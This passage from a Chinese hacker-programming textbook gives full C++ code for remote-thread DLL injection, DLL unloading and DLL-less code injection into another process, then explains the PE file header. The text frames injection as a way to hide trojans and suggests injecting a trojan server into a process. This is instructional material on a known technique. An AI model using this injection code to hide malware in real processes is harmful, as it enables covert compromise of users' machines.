可以看到，PEID 最下方的编辑框处显示出 DLL 是由 VC6 开发的，而且版本是 Debug版本。单击“子系统”右边的“[image: figure_0081_0054]”按钮，会显示PE结构的详细信息，在详细信息的下半部分有一个“目录信息”，在“目录信息”中第一个就是我们想要查看的导出函数的内容，单击“导出表”右面的“大于号按钮[image: figure_0081_0055]”按钮，出现如图3-31所示的界面。
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  图3-31 导出表信息 

 
因为DLL中只有一个导出函数MsgBox()，那么该导出表中就只有一个导出项。具体关于PE结构的内容在下一章节中进行讲解。
 
对于DLL的编程就介绍到这里了，后面的内容同样会涉及跟DLL有关的内容，希望大家可以自己动手完成这个简单的DLL文件。
 

 
3.7 远程线程
 
在Windows操作系统下，为了避免每个进程互相影响，每个进程的内存空间都是被隔离的。但是在某种情况下需要两个进程协调工作或者是跨进程的操作。所谓的“远程线程”并不是跨计算机的，而是跨进程的，简单说就是进程A在进程B中创建一个线程，这样就叫做远程线程。关于远程线程的知识，我们从3个例子来学习，一个是DLL的注入，一个是DLL的卸载，一个是不依赖DLL的注入代码，3个例子的原理是一样的。只要掌握其中一个例子就能了解其他的两个例子了，之所以讲述3个例子，是为了起到举一反三的作用。
 
远程线程不但在木马、外挂方面应用广泛，而且在反病毒软件方面也应用广泛。
 

 
3.7.1 DLL注入
 
木马或者病毒编写质量的好坏取决于其隐藏程度，而不在于其功能多少。无论是病毒或是木马，它们都是可执行程序，如果它们是EXE文件的话，那么就必将会产生一个进程，产生进程就很容易被发现。为了不被发现，可以选择为 DLL 文件，DLL 文件加载到进程的地址空间中，不会有进程名，因此其隐蔽性相对较好。DLL文件如果不被进程加载又如何在进程中呢？方法是强制让某进程加载DLL文件，这个强制的手段就是下面要介绍的通过创建远程线程将DLL注入到某个指定的进程中。
 
创建远程线程的函数如下：
 
HANDLE CreateRemoteThread(
 
HANDLE hProcess,　　　　　　　// handle to process
 
LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
 
DWORD dwStackSize,　　　　　　// initial stack size
 
LPTHREAD_START_ROUTINE lpStartAddress,　// thread function
 
LPVOID lpParameter,　　　　　　// thread argument
 
DWORD dwCreationFlags,　　　　　// creation option
 
LPDWORD lpThreadId　　　　　　// thread identifier
 
);
 
该函数的功能是创建一个远程的线程。还记得前面介绍过的CreateThread()函数吗？如果还记得CreateThread()的定义的话，那么就来和CreateRemoteThread()进行一个比较吧。其实对于 CreateThread()来说，CreateRemoteThread()就比其多了一个 hProcess 的参数，该参数是指定要创建线程的进程句柄。其实CreateThread()函数的实现就是依赖CreateRemoteThread()函数来完成的，CreateThread()函数的代码实现如下：
 
HANDLE WINAPI CreateThread(
 
LPSECURITY_ATTRIBUTES lpThreadAttributes,
 
DWORD dwStackSize,
 
LPTHREAD_START_ROUTINE lpStartAddress,
 
LPVOID lpParameter,
 
DWORD dwCreationFlags,
 
LPDWORD lpThreadId
 
)
 
{
 
return CreateRemoteThread(GetCurrentProcess(),
 
lpThreadAttributes,
 
dwStackSize,
 
lpStartAddress,
 
lpParameter,
 
dwCreationFlags,
 
lpThreadId);
 
}
 
在上面代码中 GetCurrentProcess()函数的功能是获取当前进程的句柄。Windows 并没有提供源代码，而 CreateThread()函数的代码为什么是这样的呢？这里提供的代码是有据可依的，这个将在后面的内容中进行介绍。
 
回到我们的主题，CreateRemoteProcess()函数是给其他进程进行注入的，那其第一个参数是指定某进程的句柄的，那么某进程的句柄是如何取到的呢？只要有该进程的PID（进程ID），就可以通过OpenProcess()获取该进程的句柄。
 
除了 hProcess 参数以外，关键的参数就只有 lpStartAddress 和 lpParameter 两个了。lpStartAddress指定线程函数的地址，lpParameter指定传递给线程函数的参数。前面提到，每个进程的地址空间是隔离的，那么新创建的线程函数的地址也应该在目的进程中，而不应该在本进程中，同样的传递给线程函数的参数也应该在目的进程中。
 
如何让线程函数的地址在目的进程中呢？如何让线程函数的参数也在目的进程中呢？在讨论这个问题以前，先来考虑一下线程函数需要完成的功能。我们主要介绍的是注入 DLL文件，那么线程函数的功能也就是加载DLL文件。加载DLL文件的方法前面已经介绍过了，是调用LoadLibrary()函数。LoadLibrary()函数的定义如下：
 
HMODULE LoadLibrary(
 
LPCTSTR lpFileName　// file name of module
 
);
 
该函数的参数是一个指针，API函数的默认调用方式是WINAPI方式（WINAPI是一个宏定义，前面已经介绍过了），而线程函数的定义恰巧也是这样，线程函数的定义格式如下：
 
DWORD WINAPI ThreadProc(
 
LPVOID lpParameter　// thread data
 
);
 
两个函数除了返回值以外，其余的都是相同的，返回值的问题可以忽略不考虑。那么，可以直接把 LoadLibrary()函数作为线程函数创建到指定进程中。LoadLibrary()的参数是要加载的DLL文件的路径。这样，使用CreateRemoteThread()就可以创建一个远程线程了。不过别急，还有一个问题没有解释，那就是如何将LoadLibrary()函数的地址放到目标进程空间中，还有如何把DLL文件路径也保存到目标进程空间中。
 
LoadLibrary()函数在Kernel32.dll这个系统DLL中，而Kernel32.dll这个DLL文件在任何进程中的加载位置都是相同的，也就是说，LoadLibrary()函数的地址在任何进程中的地址都是相同的，因此只要在进程中获取LoadLibrary()函数的地址后，该地址在目标进程中也是可以使用的。至于要注入的DLL文件如何写入目标进程中，那么就要依赖一个API函数了，该函数的定义如下：
 
BOOL WriteProcessMemory(
 
HANDLE hProcess,　　　// handle to process
 
LPVOID lpBaseAddress,　　// base of memory area
 
LPVOID lpBuffer,　　　// data buffer
 
DWORD nSize,　　　　// number of bytes to write
 
LPDWORD lpNumberOfBytesWritten // number of bytes written
 
);
 
该函数的功能是把lpBuffer中的内容写到hProcess指定进程中的lpBaseAddress地址处。
 
参数说明如下。
 
（1）hProcess：指定进程的进程句柄。
 
（2）lpBaseAddress：指定写入内存的起始地址。
 
（3）lpBuffer：指定要写入的内容的缓冲区。
 
（4）nSize：指定写入内容的长度。
 
（5）lpNumberOfBytesWritten：接收实际写入内容的长度。
 
这个函数的功能非常强大，比如在破解方面，该函数可以实现一个“内存补丁”；在做单击游戏修改器时，该函数可以修改游戏的值。
 
使用该函数可以把 DLL 文件的地址写入目标进程中，这样就可以在目标进程中用LoadLibrary()加载该DLL文件了。是不是非常值得庆祝呢？我们解决了所有的问题，注入终于可以实现了。如果这样想的话，就有过于心急了。WriteProcessMemory()第二个参数是指定写入的起始地址，这个地址明显在目标进程中，那么这个地址是哪个地址？目标进程中的哪块内存允许把DLL文件的路径写进去呢？新的问题来了，我们如何确定应该写入目标进程的哪个地址。我们应该先在目标进程中申请一块内存，然后把DLL文件的路径写入进去，这样就可以解决了。在目标进程申请内存的函数如下：
 
LPVOID VirtualAllocEx(
 
HANDLE hProcess,　　　// process to allocate memory
 
LPVOID lpAddress,　　　// desired starting address
 
SIZE_T dwSize,　　　　// size of region to allocate
 
DWORD flAllocationType,　　// type of allocation
 
DWORD flProtect　　　　// type of access protection
 
);
 
参数说明如下。
 
（1）hProcess：指定要申请内存的进程句柄。
 
（2）lpAddress：指定申请的起始位置。
 
（3）dwSize：指定申请的长度。
 
（4）flAllcationType：指定申请内存的状态类型。
 
（5）flProtect：指定申请内存的内存属性。
 
该函数的返回值返回目标进程申请到的内存块的起始地址。
 
现在，所有问题都解决了，看看注入DLL程序的界面吧，如图3-32所示。
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  图3-32 DLL注入/卸载器 

 
这个程序既可以注入DLL，也可以卸载注入的DLL。注入DLL文件的代码如下：
 
VOID CInjectDllDlg::InjectDll(DWORD dwPid, char *szDllName)
 
{
 
if ( dwPid == 0 || strlen(szDllName) == 0 )
 
{
 
return ;
 
}
 
char *pFunName = "LoadLibraryA";
 
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
 
if ( hProcess == NULL )
 
{
 
return ;
 
}
 
int nDllLen = strlen(szDllName) + sizeof(char);
 
PVOID pDllAddr= VirtualAllocEx(hProcess,
 
NULL,
 
nDllLen,
 
MEM_COMMIT,
 
PAGE_READWRITE);
 
if ( pDllAddr == NULL )
 
{
 
CloseHandle(hProcess);
 
return ;
 
}
 
DWORD dwWriteNum = 0;
 
WriteProcessMemory(hProcess, pDllAddr, szDllName, nDllLen, &dwWriteNum);
 
FARPROC pFunAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), pFunName);
 
HANDLE hThread = CreateRemoteThread(hProcess,
 
NULL,
 
0,
 
(LPTHREAD_START_ROUTINE)pFunAddr,
 
pDllAddr,
 
0,
 
NULL);
 
WaitForSingleObject(hThread, INFINITE);
 
CloseHandle(hThread);
 
CloseHandle(hProcess);
 
}
 
该函数有两个参数，分别是目标进程 PID 和要注入的 DLL 文件。在代码中，获取的不是LoadLibrary()函数的地址，而是LoadLibraryA()函数的地址。在系统中其实没有LoadLibrary()这个函数，只有LoadLibraryA()和LoadLibraryW()这两个函数，这两个函数分别针对的是ANSI字符串和UNICODE字符串，而LoadLibrary()函数只是一个宏。在编写程序的时候，直接使用该宏是可以的，如果要获取其地址，那么就要指定获取具体的函数了。LoadLibrary()宏定义如下：
 
#ifdef UNICODE
 
#define LoadLibrary LoadLibraryW
 
#else
 
#define LoadLibrary LoadLibraryA
 
#endif // !UNICODE
 
只有在涉及与字符串有关的函数时才会出现ANSI版本和UNICODE版本，其余不涉及字符串的函数没有ANSI版本和UNICODE版本。
 
现在，就用前面写的 DLL 程序做练习，看把它注入到一个记事本中，其效果如图 3-33所示。
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  图3-33 DLL文件注入 

 
这个对话框是DLL程序在DLL_PROCESS_ATTACH中弹出的（如果不记得，请看前面写的DLL程序的代码），其所在进程为notepad.exe，这里的4032为目标PID。我们的注入成功了。
 
注意：如果要对系统进程进行注入的话，由于有一个OpenProcess()的权限问题，可能会导致无法获得系统进程的句柄，想要获得其句柄，需要用到前面介绍的提升权限的代码。对于DLL卸载也是同样的情况。
 

 
3.7.2 DLL卸载
 
DLL 注入如果用在木马方面危害很大。下面完成一个如何卸载被注入 DLL 的程序。卸载被注入DLL的程序的思路和注入的思路是一样，而且代码的改动也非常得小。区别在于一个是卸载，一个是注入。
 
对于DLL的卸载使用的API函数如下：
 
BOOL FreeLibrary(
 
HMODULE hModule　// handle to DLL module
 
);
 
该函数的参数是要卸载的模块的句柄。
 
FreeLibrary()函数使用到的模块句柄可以通过前面介绍的Module32First()/Module32Next()两个函数获取。在介绍进程枚举时使用到了一个 PROCESSENTRY32 的结构体，在使用Module32First()函数时，我们会使用到一个 MODULEENTRY32 的结构体，该结构体中保存了模块的句柄。MODULEENTRY32的定义如下：
 
typedef struct tagMODULEENTRY32 {
 
DWORD　dwSize;
 
DWORD　th32ModuleID;
 
DWORD　th32ProcessID;
 
DWORD　GlblcntUsage;
 
DWORD　ProccntUsage;
 
BYTE　* modBaseAddr;
 
DWORD　modBaseSize;
 
HMODULE hModule;
 
TCHAR　szModule[MAX_MODULE_NAME32 + 1];
 
TCHAR　szExePath[MAX_PATH];
 
} MODULEENTRY32;
 
typedef MODULEENTRY32 *PMODULEENTRY32;
 
该结构体中的hModule为模块的句柄，szModule为模块的名称，szExePath是完整的模块的名称（包含路径）。
 
DLL卸载的代码如下：
 
VOID CInjectDllDlg::UnInjectDll(DWORD dwPid, char *szDllName)
 
{
 
……
 
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPid);
 
MODULEENTRY32 Me32 = { 0 };
 
Me32.dwSize = sizeof(MODULEENTRY32);
 
BOOL bRet = Module32First(hSnap, &Me32);
 
while ( bRet )
 
{
 
if ( strcmp(Me32.szExePath, szDllName) == 0 )
 
{
 
break;
 
}
 
bRet = Module32Next(hSnap, &Me32);
 
}
 
CloseHandle(hSnap);
 
char *pFunName = "FreeLibrary";
 
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
 
……
 
FARPROC pFunAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), pFunName);
 
HANDLE hThread = CreateRemoteThread(hProcess,
 
NULL,
 
0,
 
(LPTHREAD_START_ROUTINE)pFunAddr,
 
Me32.hModule,
 
0,
 
NULL);
 
WaitForSingleObject(hThread, INFINITE);
 
CloseHandle(hThread);
 
CloseHandle(hProcess);
 
}
 
DLL卸载的代码比DLL注入的代码还要简单，这里就不做过多介绍了。
 
大家可以尝试把第2章中介绍的简单的木马服务端写成DLL文件，再将其注入到某个进程中，然后用客户端文件和服务端文件进行通信。这将对我们的所学的知识有一个深入的体会。
 

 
3.7.3 无DLL的代码注入
 
DLL文件的注入与卸载都很成功的完成了，整个注入的与卸载的过程其实就是让远程线程执行一次LoadLibray()或FreeLibrary()。主要的功能代码都在DLL文件中，那么可否直接通过WriteProcessMemory()函数把代码直接写入到目标进程中？答案是可以的。
 
我们要在目标进程中完成一定的功能，那么就要使用到相关的 API 函数。Kernel32.dll文件在每个进程中的地址是一样的，但是并不代表其他 DLL 文件在每个进程中的地址都一样。这样，必须在目标进程中获取想要使用的API函数的地址。获取API函数的地址使用的是LoadLibrary()和GetProcAddress()这两个函数，在目标进程中，通过这两个函数就可以获取任何一个想要使用的API函数的地址了。把想要使用的API函数及API函数所在的DLL都封装到一个结构体中，直接写入到目标进程空间中，也可以直接把要在远程执行的代码写入到目标进程空间中，然后使用CreateRemoteThread()运行即可。
 
接下来写一个例子，让远程线程弹出一个简单对话框，但是不借助于DLL。这个例子将要使用到的API函数也全都在前面的知识中介绍了。根据上面的步骤，先定义一个结构体，结构体如下：
 
#define STRLEN 20
 
typedef struct _DATA
 
{
 
DWORD dwLoadLibrary;
 
DWORD dwGetProcAddress;
 
DWORD dwGetModuleHandle;
 
DWORD dwGetModuleFileName;
 
char User32Dll[STRLEN];
 
char MessageBox[STRLEN];
 
char Str[STRLEN];
 
}DATA, *PDATA;
 
结构体中保存了LoadLibraryA()、GetProcAddress()、GetModuleHandle()和GetModuleFileName()函数的地址。这4个函数都属于Kernel32.dll文件中的函数，因此可以提前获取。User32Dll保存“User32.dll”字符串，因为MessageBoxA()函数在User32.dll文件中。至于Str，是我们想要用MessageBoxA()弹出的字符串。
 
看一下注入的代码：
 
VOID CNoDllInjectDlg::InjectCode(DWORD dwPid)
 
{
 
HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
 
if ( hProcess == NULL )
 
{
 
AfxMessageBox("OpenProcess Error");
 
return ;
 
}
 
DATA Data = { 0 };
 
Data.dwLoadLibrary = (DWORD)GetProcAddress(
 
GetModuleHandle("kernel32.dll"),
 
"LoadLibraryA");
 
Data.dwGetProcAddress = (DWORD)GetProcAddress(
 
GetModuleHandle("kernel32.dll"),
 
"GetProcAddress");
 
Data.dwGetModuleHandle = (DWORD)GetProcAddress(
 
GetModuleHandle("kernel32.dll"),
 
"GetModuleHandleA");
 
Data.dwGetModuleFileName = (DWORD)GetProcAddress(
 
GetModuleHandleA("kernel32.dll"),
 
"GetModuleFileNameA");
 
lstrcpy(Data.User32Dll, "user32.dll");
 
lstrcpy(Data.MessageBox, "MessageBoxA");
 
lstrcpy(Data.Str, "Inject Code !!!");
 
LPVOID lpData = VirtualAllocEx(hProcess,
 
NULL,
 
sizeof(DATA),
 
MEM_COMMIT | MEM_RESERVE,
 
PAGE_READWRITE);
 
DWORD dwWriteNum = 0;
 
WriteProcessMemory(hProcess, lpData, &Data, sizeof(DATA), &dwWriteNum);
 
DWORD dwFunSize = 0x2000;
 
LPVOID lpCode = VirtualAllocEx(hProcess,
 
NULL,
 
dwFunSize,
 
MEM_COMMIT,
 
PAGE_EXECUTE_READWRITE);
 
WriteProcessMemory(hProcess, lpCode, RemoteThreadProc, dwFunSize, &dwWriteNum);
 
HANDLE hRemoteThread = CreateRemoteThread(hProcess,
 
NULL,
 
0,
 
(LPTHREAD_START_ROUTINE)lpCode,
 
lpData,
 
0,
 
NULL);
 
WaitForSingleObject(hRemoteThread, INFINITE);
 
CloseHandle(hRemoteThread);
 
CloseHandle(hProcess);
 
}
 
卸载代码和注入代码没什么差别，关键是要把线程函数也写入目标进程中，这样在使用CreateRemoteThread()时，直接给出线程函数在目标进程中的地址即可。
 
线程函数代码如下：
 
DWORD WINAPI RemoteThreadProc(LPVOID lpParam)
 
{
 
PDATA pData = (PDATA)lpParam;
 
// 定义API函数原型
 
HMODULE (__stdcall *MyLoadLibrary)(LPCTSTR);
 
FARPROC (__stdcall *MyGetProcAddress)(HMODULE, LPCSTR);
 
HMODULE (__stdcall *MyGetModuleHandle)(LPCTSTR);
 
int (__stdcall *MyMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT);
 
DWORD (__stdcall *MyGetModuleFileName)(HMODULE, LPTSTR, DWORD);
 
MyLoadLibrary = (HMODULE (__stdcall *)(LPCTSTR))pData->dwLoadLibrary;
 
MyGetProcAddress=(FARPROC(__stdcall *)(HMODULE,LPCSTR))pData->dwGetProcAddress;
 
MyGetModuleHandle = (HMODULE (__stdcall *)(LPCSTR))pData->dwGetModuleHandle;
 
MyGetModuleFileName = (DWORD (__stdcall *)(HMODULE,LPTSTR,DWORD nSize))pData->
 
dwGetModuleFileName;
 
HMODULE hModule = MyLoadLibrary(pData->User32Dll);
 
MyMessageBox = (int (__stdcall *)(HWND,LPCTSTR,LPCTSTR,UINT))MyGetProcAddress
 
(hModule, pData->MessageBox);
 
char szModuleName[MAX_PATH] = { 0 };
 
MyGetModuleFileName(NULL, szModuleName, MAX_PATH);
 
MyMessageBox(NULL, pData->Str, szModuleName, MB_OK);
 
return 0;
 
}
 
线程函数显得很乱，但是只要仔细看还是能看明白的，线程函数里面的内容都没有超出前面介绍的知识范围。请大家认真地看一遍。
 
这就是无DLL注入的全部代码了。编译运行，并用“记事本”程序做测试，发现报错了，如图3-34所示。
 
竟然出错了，问题出在哪里呢？注入器的编译方式是Debug方式，而以Debug方式编译VC 会在程序中加入很多与调试相关的内容，而这些内容的地址是相对当前进程地址，这些代码到了别的进程可能就会出错。这里应该使用Release方式编译，因为以Release方式编译不会由于插入与调试相关的代码而导致注入的代码到别的进程会出错。用 Release 方式编译并运行，如图3-35所示。
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  图3-34 无DLL注入错误 
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  图3-35 以Release方式编译运行正常 

 
这样运行就正常了，无DLL的代码注入也就成功了。
 

 
3.8 总结
 
本章学习了Windows下应用程序的编程基础，包括文件操作、注册表操作、服务枚举、进程、线程、DLL等相关内容。在后面的章节中将会经常使用到这些内容，请大家一定要掌握本章的内容。
第4章 加密与解密
 
本章将学习一些简单的加密与解密的知识，并会接触到PE结构、OD调试器和调试API函数。
 

 
4.1 PE文件结构
 
PE（Portable Executable），即可移植的执行体。所有的Windows（包括Win 9x、Win NT、Win CE……）下的可执行文件（包括EXE、DLL、SYS、OCX、COM……）均使用PE 文件结构，这些使用PE文件结构的可执行文件也成为PE文件。
 
作为一个普通的程序员也许没有必要掌握 PE 文件结构，因为普通的程序员大多都是开发服务性、决策性、辅助性的软件，比如MIS、HIS等软件。但是对于学习黑客编程，学习安全编程的程序员来说，那么掌握 PE 文件结构的知识就非常重要了。因此，我们要进行对PE文件结构地学习。
 

 
4.1.1 PE文件结构全貌
 
Windows 下的可执行程序有着复杂的文件结构，同样，PE结构是由若干个复杂的结构体组合而成的，不单单是一个结构体那么简单。就像磁盘结构体一样，磁盘结构同样是由非常多的结构体组成的。PE结构包含的结构体有DOS头、PE标识、文件头、可选头、目录结构、节表等。要掌握 PE 结构，必须对 PE 结构有一个整体上的认识，要知道PE结构分为哪些部分，这些部分大概是起什么作用的。有了宏观上的概念以后，就可以深入 PE 结构的各个结构体进行细致地学习了。下面给出一张图，让大家对PE结构有一个大概的了解，如图4-1所示。
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  图4-1 PE结构总览图 

 
从图中可以看到，在 PE 文件中，真正包含代码和数据的部分是节表数据，节表数据以上的部分都是PE文件结构。
 
下面根据这个图给大家介绍PE文件结构的各个结构体，介绍完以后再写一个PE结构的解释器。这里不会介绍PE结构中的每个结构，只针对常用的和相对重要的结构体进行介绍。
 

 
4.1.2 MZ头部
 
MZ头部其实是一个DOS头部，由于其开始处的字符为“MZ”，因此叫做MZ头，也可以叫做 DOS 头，看个人习惯了。该部分用于在 DOS 下加载可执行程序，是用IMAGE_DOS_HEADER来定义的。
 
DOS 残留是一段简单的程序，主要用于输出“This program cannot be run in DOS mode.”类似的字符串。
 
为什么PE结构的最开始位置有这样一段DOS头部呢？关键是为了该可执行程序可以兼容DOS系统。通常情况下，Win32下的PE程序只是简单地输出一段字符串，提示不能运行于DOS系统下。但是这个DOS程序是可以在程序连接时修改的，不过由于不常使用也就不进行介绍了。
 

 
4.1.3 PE头部
 
PE 头部保存 Windows 系统加载可执行文件的重要信息。PE 头部由IMAGE_NT_HEADERS来定义，通过该结构体的定义可以看出，IMAGE_NT_HEADERS是由多个结构体组合而成的，具体内容将在后面进行介绍。PE头部在PE文件中的位置是不确定的，PE头部的位置由DOS头部的某个字段给出。
 

 
4.1.4 节表
 
程序的组织按照各属性的不同而被保存在不同的节中，在 PE 头部之后就是一个数组结构的节表。如果PE文件中有N个节，那么节表就是由N个IMAGE_SECTION_HEADER组成的数组。节表中存储了各个节的属性、位置等相关信息。
 

 
4.1.5 节表数据
 
真正的程序部分就保存在节数据中。节名称最大长度为8个字节，大于8个字节将被截取。节的划分是根据各组数据的属性划分的，每个节拥有共同的属性。
 

 
4.2 详解PE文件结构
 
在PSDK的头文件Winnt.h中，包含了PE文件结构的定义格式。PE头文件分为32位和64位。64位的PE结构是对32位的PE结构做了扩展，这里主要讨论32位的PE文件结构。对于64位的PE文件结构大家可以自行查阅资料进行学习。
 

 
4.2.1 DOS头部详解IMAGE_DOS_HEADER
 
对于一个PE文件来说，最开始的位置就是一个DOS程序。DOS程序包含一个DOS头和一个DOS程序体。DOS头是用来装载DOS程序的，DOS程序也就是图4-1中的那个DOS存根，也就是说DOS头是用来装载DOS存根的。保留这部分内容是为了与DOS系统做兼容。一般在PE 结构中的DOS 存根，只会输出一个“This program cannot be run in DOS mode.”字符串。
 
虽然DOS头是为了装载DOS程序的，但是DOS头部中的一个字段保存着指向PE头部的位置。DOS 头在 Winnt.h 头文件中被定义为 IMAGE_DOS_HEADER，该结构体的定义如下：
 
typedef struct _IMAGE_DOS_HEADER {　// DOS .EXE header
 
WORD　e_magic;　　　　　　// Magic number
 
WORD　e_cblp;　　　　　　// Bytes on last page of file
 
WORD　e_cp;　　　　　　// Pages in file
 
WORD　e_crlc;　　　　　　// Relocations
 
WORD　e_cparhdr;　　　　　// Size of header in paragraphs
 
WORD　e_minalloc;　　　　　// Minimum extra paragraphs needed
 
WORD　e_maxalloc;　　　　　// Maximum extra paragraphs needed
 
WORD　e_ss;　　　　　　// Initial (relative) SS value
 
WORD　e_sp;　　　　　　// Initial SP value
 
WORD　e_csum;　　　　　　// Checksum
 
WORD　e_ip;　　　　　　// Initial IP value
 
WORD　e_cs;　　　　　　// Initial (relative) CS value
 
WORD　e_lfarlc;　　　　　// File address of relocation table
 
WORD　e_ovno;　　　　　　// Overlay number
 
WORD　e_res[4];　　　　　// Reserved words
 
WORD　e_oemid;　　　　　　// OEM identifier (for e_oeminfo)
 
WORD　e_oeminfo;　　　　　// OEM information; e_oemid specific
 
WORD　e_res2[10];　　　　　// Reserved words
 
LONG　e_lfanew;　　　　　// File address of new exe header
 
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
 
在该结构体中，有两个字段需要注意，分别是第一个字段 e_magic，和最后一个字段e_lfanew字段。
 
e_magic字段是一个DOS可执行文件的标识符，该字段占用两个字节，该位置保存着的字符是“MZ”。该标识符在Winnt.h头文件中有一个宏定义，定义如下所示：
 
#define IMAGE_DOS_SIGNATURE　　　　0x5A4D　// MZ
 
e_lfanew字段中保存着PE文件的起始位置。
 
在VC 下创建一个简单的“Win32Application”程序（注意，这次创建的不是控制台程序，创建程序的方法类似，这里就不再介绍创建工程的步骤了），用来学习PE结构。
 
程序代码如下：
 
#include <Windows.h>
 
int WINAPI WinMain(
 
HINSTANCE hInstance,
 
HINSTANCE hPrevInstance,
 
LPSTR lpCmdLine,
 
int nCmdShow)
 
{
 
MessageBox(NULL,"hello world !","hello", MB_OK);
 
return 0;
 
}
 
由于创建的工程是“Win32 Application”的程序，而不是控制台的程序，因此主函数是WinMain()，而不是main()了。WinMain()函数有4个参数，具体参数的含义请参考MSDN，这里就不进行介绍了。
 
该程序的功能是弹出一个 Messagebox 对话框，使用“Win32 Release”方式进行编译连接，并把编译好的程序用C32Asm打开。C32Asm是一个反汇编与十六进制编辑于一体的程序，其界面如图4-2所示。
 

 [image: figure_0094_0062]

 

  图4-2 C32Asm程序界面 

 
在这里选择“十六进制模式”单选项，单击“确定”按钮，打开十六进制编辑模式，如图4-3所示。
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  图4-3 十六进制编辑状态下的C32Asm 

 
在图中可以看到，在文件偏移为0x00000000的位置处保存着两个字节的内容0x5A4D，用ASCII 表示则是“MZ”。图中明明写着是4D 5A，为什么说的是0x5A4D，大家到上面看Winnt.h头文件中定义的那个宏，也写着是0x5A4D，这是为什么呢？这就是在前面章节中讲解的字节顺序，高位保存在高地址，地位保存在低地址。这个概念是很重要的，希望大家能够掌握。
 
在图中0x0000003c的位置处，就是e_lfanew字段，该字段保存着PE结构的起始位置，该字段的值为多少呢？保存的是0xC800000000吗？如果是这样就错了，CPU架构使用的是小尾方式，系统对数据的存放始终是高位存放高字节，低位存放低字节，因此该处保存的是0x000000C8。大家查看一下 0x000000C8 这个位置保存的内容是 50 45 00 00，与之对应的ASCII字符为“PE\0\0”。这里就是PE结构开始的位置。
 
“PE\0\0”和 IMAGE_DOS_HEADER 之间的内容就是 DOS 存根，就是一个没什么太大用处的DOS程序。由于这个程序本身没什么利用的价值，因此这里就不做介绍了。选中DOS存根程序，也就是从0x40000000处一直到0x000000C7处的内容。然后单击右键选择“填充”命令，在弹出的“填充数据”的对话框中，选中“使用十六进制填充”单选钮，在其后的编辑框中输入“00”，单击“OK”按钮，该过程如图4-4、图4-5所示。
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  图4-4 填充数据 
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  图4-5 填充后的数据 

 
把DOS存根部分填充完以后，单击工具栏上的“保存”按钮对修改内容进行保存。保存时会提示是否备份，选择“是”，这样文件就保存了。找到我们的文件，然后运行，对话框依旧弹出了，说明这里的内容是无关紧要的。
 
注：DOS存根部分经常由于某种需要而保存其他数据，因此该操作较为常见。
 

 
4.2.2 PE头部详解IMAGE_NT_HEADERS
 
DOS头是为了兼容DOS系统而遗留的，在DOS头中的最后一个字段给出了PE头的位置。PE头部是真正用来装载Win32程序的头部，PE头的定义为IMAGE_NT_HEADERS，该结构体包含PE标识符、文件头与可选头这三部分。IMAGE_NT_HEADERS是一个宏，其定义如下：
 
#ifdef _WIN64
 
typedef　IMAGE_NT_HEADERS64　IMAGE_NT_HEADERS;
 
typedef　PIMAGE_NT_HEADERS64　PIMAGE_NT_HEADERS;
 
#define IMAGE_FIRST_SECTION(ntheader)　　IMAGE_FIRST_SECTION64(ntheader)
 
#else
 
typedef　IMAGE_NT_HEADERS32　IMAGE_NT_HEADERS;
 
typedef　PIMAGE_NT_HEADERS32　PIMAGE_NT_HEADERS;
 
#define　IMAGE_FIRST_SECTION(ntheader)　IMAGE_FIRST_SECTION32(ntheader)
 
#endif
 
该头分为32位与64位，看是否定义了_WIN64。我们只讨论32位的PE文件格式，因此来看一下IMAGE_NT_HEADER32的定义，该定义如下：
 
typedef struct _IMAGE_NT_HEADERS {
 
DWORD Signature;
 
IMAGE_FILE_HEADER FileHeader;
 
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
 
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
 
该结构体中的Signature就是PE标识符，该标识符标识该文件是否是PE文件。该部分占4 个字节，即“50 45 00 00”，该部分可以参看图4-3。这里在Winnt.h中有一个宏定义，定义如下：
 
#define IMAGE_NT_SIGNATURE　　　　0x50450000　// PE00
 
该值非常重要，简单地判断一个文件是否是PE文件，首先要判断DOS头部的开始字节是否是“MZ”，然后通过DOS头部找到PE头，接着判断PE头部的前四个字节是否为“PE\0\0”，如果是的话，则可以说明该文件是一个有效的PE文件。
 
在 PE 头中，除了 IMAGE_NT_SIGNATURE 以外，还有两个重要的结构体，分别是IMAEG_FILE_HEADER（文件头）和 IMAGE_OPTIONAL_HEADER32（可选头）。这两个头在PE头中占据重要的位置，因此需要详细介绍这两个结构体。
 

 
4.2.3 IAMGE_FILE_HEADER
 
该结构体是IMAGE_NT_HEADERS中的第一个结构体，该结构紧接在PE标识符的后面。该结构体大小为 20 个字节，起始位置为 0x000000CC，结束位置为 0x000000DF，如图 4-6所示。
 

 [image: figure_0096_0066]

 

  图4-6 IMAGE_FILE_HEADER在PE文件中的位置 

 
该结构包含了PE文件的一些基础信息，其结构体的定义如下：
 
typedef struct _IMAGE_FILE_HEADER {
 
WORD　Machine;
 
WORD　NumberOfSections;
 
DWORD　TimeDateStamp;
 
DWORD　PointerToSymbolTable;
 
DWORD　NumberOfSymbols;
 
WORD　SizeOfOptionalHeader;
 
WORD　Characteristics;
 
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
 
下面介绍一下该结构各字段。
 
（1）Machine：该字段是WORD类型，占用两个字节。该字段表示可执行文件的目标CPU类型。该字段的取值如图4-7所示。
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  图4-7 CPU类型取值 

 
在图4-6 中，Machine 字段的值为“4C01”，即0x014C，也就是支持Intel 类型的CPU。
 
（2）NumberOfSection：该字段是 WORD 类型，占用两个字节。该字段表示 PE 文件的节区的个数。在图4-6 中，该字段值为“0300”，即为0x0003，也就是说明该PE 文件的节区有3个。
 
（3）TimeDataStamp：该字段表明文件是何时被创建的，这个值是自1970年1月1日以来用格林威治时间计算的秒数。
 
（4）PointerToSymbolTable：该字段很少被使用，这里不做介绍。
 
（5）NumberOfSymbols：该字段很少被使用，这里不做介绍。
 
